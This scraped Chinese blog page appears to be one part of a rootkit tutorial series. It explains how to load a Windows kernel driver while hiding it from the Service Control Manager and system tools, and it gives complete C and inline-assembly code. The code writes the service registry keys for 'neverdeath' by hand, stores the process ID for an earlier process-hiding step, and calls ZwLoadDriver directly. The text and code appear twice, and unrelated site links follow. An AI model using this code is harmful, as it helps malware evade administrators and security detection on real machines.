zwload隐藏服务加载驱动
来源:互联网 发布:标准体重 知乎 编辑:程序博客网 时间:2024/06/05 13:36
五、隐藏服务:
普通情况下加载驱动需要 OpenSCManager->CreateService->StartService,这样驱动就会跑到服务管理器中去注册一下自己,并且要隐藏这样加载驱动的服务,不是不行,只是太麻烦而且没效率了。要hook一大堆的服务函数。不过在逆向IS的时候发现了一个不需要去服务管理器注册而直接加载驱动的方法。就是使用ZwLoadDriver(这个函数通常是ring0中加载驱动时用,由于被Ntdll.dll导出,ring3就也能用了)进行直接加载。这样就不用去服务管理器中注册自己,并且这样加载的驱动windows系统工具中的“系统信息”查看器也查不到你,更不用说那些什么服务管理器之类的东东了。屡用不爽。下面介绍一下用法:
1、首先自己在注册表的服务项中添加一个自己的服务名字项。
2、在自己添加的服务名字项中添加一些驱动信息(其实就是手工实现CreateService()函数对注册表的那些操作),这些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工设置这些键以及键值。
按上面设置完后,来看看ZwLoadDriver的原形:
NTSTATUS
ZwLoadDriver(
IN PUNICODE_STRING DriverServiceName );
下面的代码给出了ZwLoadDriver的使用例子:
请注意上面这段代码中加载驱动时所使用的注册表路径格式是:
“//Registry//Machine//System//CurrentControlSet//Services//neverdeath”
而不是:
“HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//neverdeath”
也许你已经想到了那么卸载驱动会不会就是函数“ZwUnloadDriver”?自己试一下不就知道了:)
普通情况下加载驱动需要 OpenSCManager->CreateService->StartService,这样驱动就会跑到服务管理器中去注册一下自己,并且要隐藏这样加载驱动的服务,不是不行,只是太麻烦而且没效率了。要hook一大堆的服务函数。不过在逆向IS的时候发现了一个不需要去服务管理器注册而直接加载驱动的方法。就是使用ZwLoadDriver(这个函数通常是ring0中加载驱动时用,由于被Ntdll.dll导出,ring3就也能用了)进行直接加载。这样就不用去服务管理器中注册自己,并且这样加载的驱动windows系统工具中的“系统信息”查看器也查不到你,更不用说那些什么服务管理器之类的东东了。屡用不爽。下面介绍一下用法:
1、首先自己在注册表的服务项中添加一个自己的服务名字项。
2、在自己添加的服务名字项中添加一些驱动信息(其实就是手工实现CreateService()函数对注册表的那些操作),这些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工设置这些键以及键值。
按上面设置完后,来看看ZwLoadDriver的原形:
NTSTATUS
ZwLoadDriver(
IN PUNICODE_STRING DriverServiceName );
下面的代码给出了ZwLoadDriver的使用例子:
AnotherWayStartService( TCHAR *szDir )
{
HKEY RegKey;
HKEY hLicenses;
DWORD disp;
DWORD ErrorControl=NULL;
DWORD ProcessID;
DWORD Start=3;
DWORD Type=1;
LONG Regrt;
DWORD ZwLoadDriver;
DWORD RtlInitUnicodeString;
UNICODE_STRING RegService;
PCWSTR RegServicePath= L"/Registry/Machine/System/CurrentControlSet/Services/neverdeath";
TCHAR DriverFilePath[MAX_PATH] = "/??/";
Regrt = RegOpenKeyEx (
HKEY_LOCAL_MACHINE,
"SYSTEM/CurrentControlSet/Services",
0,
KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
&hLicenses );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt=RegCreateKeyEx (
hLicenses,
"neverdeath",
0,
"",
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&RegKey,
&disp );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegOpenKeyEx (
HKEY_LOCAL_MACHINE,
"SYSTEM/CurrentControlSet/Services/neverdeath",
0,
KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
&RegKey );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"ErrorControl",
NULL,
REG_DWORD,
(const unsigned char *)(&ErrorControl),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
strcat(DriverFilePath, szDir);
Regrt = RegSetValueEx (
RegKey,
"ImagePath",
NULL,
REG_EXPAND_SZ,
(const unsigned char *)(&DriverFilePath),
strlen( DriverFilePath ) );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"Start",
NULL,
REG_DWORD,
(const unsigned char *)(&Start),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"Type",
NULL,
REG_DWORD,
(const unsigned char *)(&Type),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
//还记得前面隐藏进程时,我们进程ID是从注册表中取的
//下面就是把进程ID写入注册表,不会影响驱动的加载
ProcessID=GetCurrentProcessId();
Regrt = RegSetValueEx (
RegKey,
"ProcessID",
NULL,
REG_DWORD,
(const unsigned char *)(&ProcessID),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
CloseHandle( RegKey );
ZwLoadDriver = (DWORD) GetProcAddress (
GetModuleHandle( "ntdll.dll" ),
"ZwLoadDriver" );
RtlInitUnicodeString = (DWORD) GetProcAddress(
GetModuleHandle( "ntdll.dll" ),
"RtlInitUnicodeString" );
_asm
{
pushad
push RegServicePath
lea edi, RegService
push edi
call RtlInitUnicodeString //装载UNICODE字符
lea edi, RegService
push edi
call ZwLoadDriver
popad
}
return true;
}
{
HKEY RegKey;
HKEY hLicenses;
DWORD disp;
DWORD ErrorControl=NULL;
DWORD ProcessID;
DWORD Start=3;
DWORD Type=1;
LONG Regrt;
DWORD ZwLoadDriver;
DWORD RtlInitUnicodeString;
UNICODE_STRING RegService;
PCWSTR RegServicePath= L"/Registry/Machine/System/CurrentControlSet/Services/neverdeath";
TCHAR DriverFilePath[MAX_PATH] = "/??/";
Regrt = RegOpenKeyEx (
HKEY_LOCAL_MACHINE,
"SYSTEM/CurrentControlSet/Services",
0,
KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
&hLicenses );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt=RegCreateKeyEx (
hLicenses,
"neverdeath",
0,
"",
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&RegKey,
&disp );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegOpenKeyEx (
HKEY_LOCAL_MACHINE,
"SYSTEM/CurrentControlSet/Services/neverdeath",
0,
KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
&RegKey );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"ErrorControl",
NULL,
REG_DWORD,
(const unsigned char *)(&ErrorControl),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
strcat(DriverFilePath, szDir);
Regrt = RegSetValueEx (
RegKey,
"ImagePath",
NULL,
REG_EXPAND_SZ,
(const unsigned char *)(&DriverFilePath),
strlen( DriverFilePath ) );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"Start",
NULL,
REG_DWORD,
(const unsigned char *)(&Start),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"Type",
NULL,
REG_DWORD,
(const unsigned char *)(&Type),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
//还记得前面隐藏进程时,我们进程ID是从注册表中取的
//下面就是把进程ID写入注册表,不会影响驱动的加载
ProcessID=GetCurrentProcessId();
Regrt = RegSetValueEx (
RegKey,
"ProcessID",
NULL,
REG_DWORD,
(const unsigned char *)(&ProcessID),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
CloseHandle( RegKey );
ZwLoadDriver = (DWORD) GetProcAddress (
GetModuleHandle( "ntdll.dll" ),
"ZwLoadDriver" );
RtlInitUnicodeString = (DWORD) GetProcAddress(
GetModuleHandle( "ntdll.dll" ),
"RtlInitUnicodeString" );
_asm
{
pushad
push RegServicePath
lea edi, RegService
push edi
call RtlInitUnicodeString //装载UNICODE字符
lea edi, RegService
push edi
call ZwLoadDriver
popad
}
return true;
}
请注意上面这段代码中加载驱动时所使用的注册表路径格式是:
“//Registry//Machine//System//CurrentControlSet//Services//neverdeath”
而不是:
“HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//neverdeath”
也许你已经想到了那么卸载驱动会不会就是函数“ZwUnloadDriver”?自己试一下不就知道了:)
- zwload隐藏服务加载驱动
- C++服务加载rootkit驱动
- WINDOWS操作驱动学习 带服务加载驱动
- 利用API函数加载系统服务以加载驱动
- 驱动隐藏
- 加载驱动时提示“驱动服务启动失败”或者“此驱动程序被阻止加载”
- NTModel框架与通信(含使用服务加载驱动)
- 内核编程学习笔记(002) 利用API函数加载系统服务以加载驱动
- 驱动加载。
- //加载驱动
- server2008 加载驱动隐藏文件或文件夹方法,可在webshell下提权后使用,付切实可行办法
- 用驱动隐藏进程
- VipShell驱动隐藏模块
- 隐藏驱动盘符
- 隐藏驱动的方法
- 驱动隐藏文件
- DKOM隐藏驱动
- DKOM隐藏驱动
- 过滤ASP.NET输出HTML中的无用空格
- epoll-select的代替品
- apache启动失败 Name or service not known: mod_unique_id
- TIPTOPGP 公用程序(二)
- PSP开发环境的搭建
- zwload隐藏服务加载驱动
- java数据库设计中的14个技巧
- row_number, dense_rank,rank method compare
- [SmartScript]js类库管理不再发愁
- How to recognise a good programmer
- java MD5使用
- Asp.net直接保存文件到客户端
- Java UUID的使用
- 一行代码加速IE的JavaScript的方法!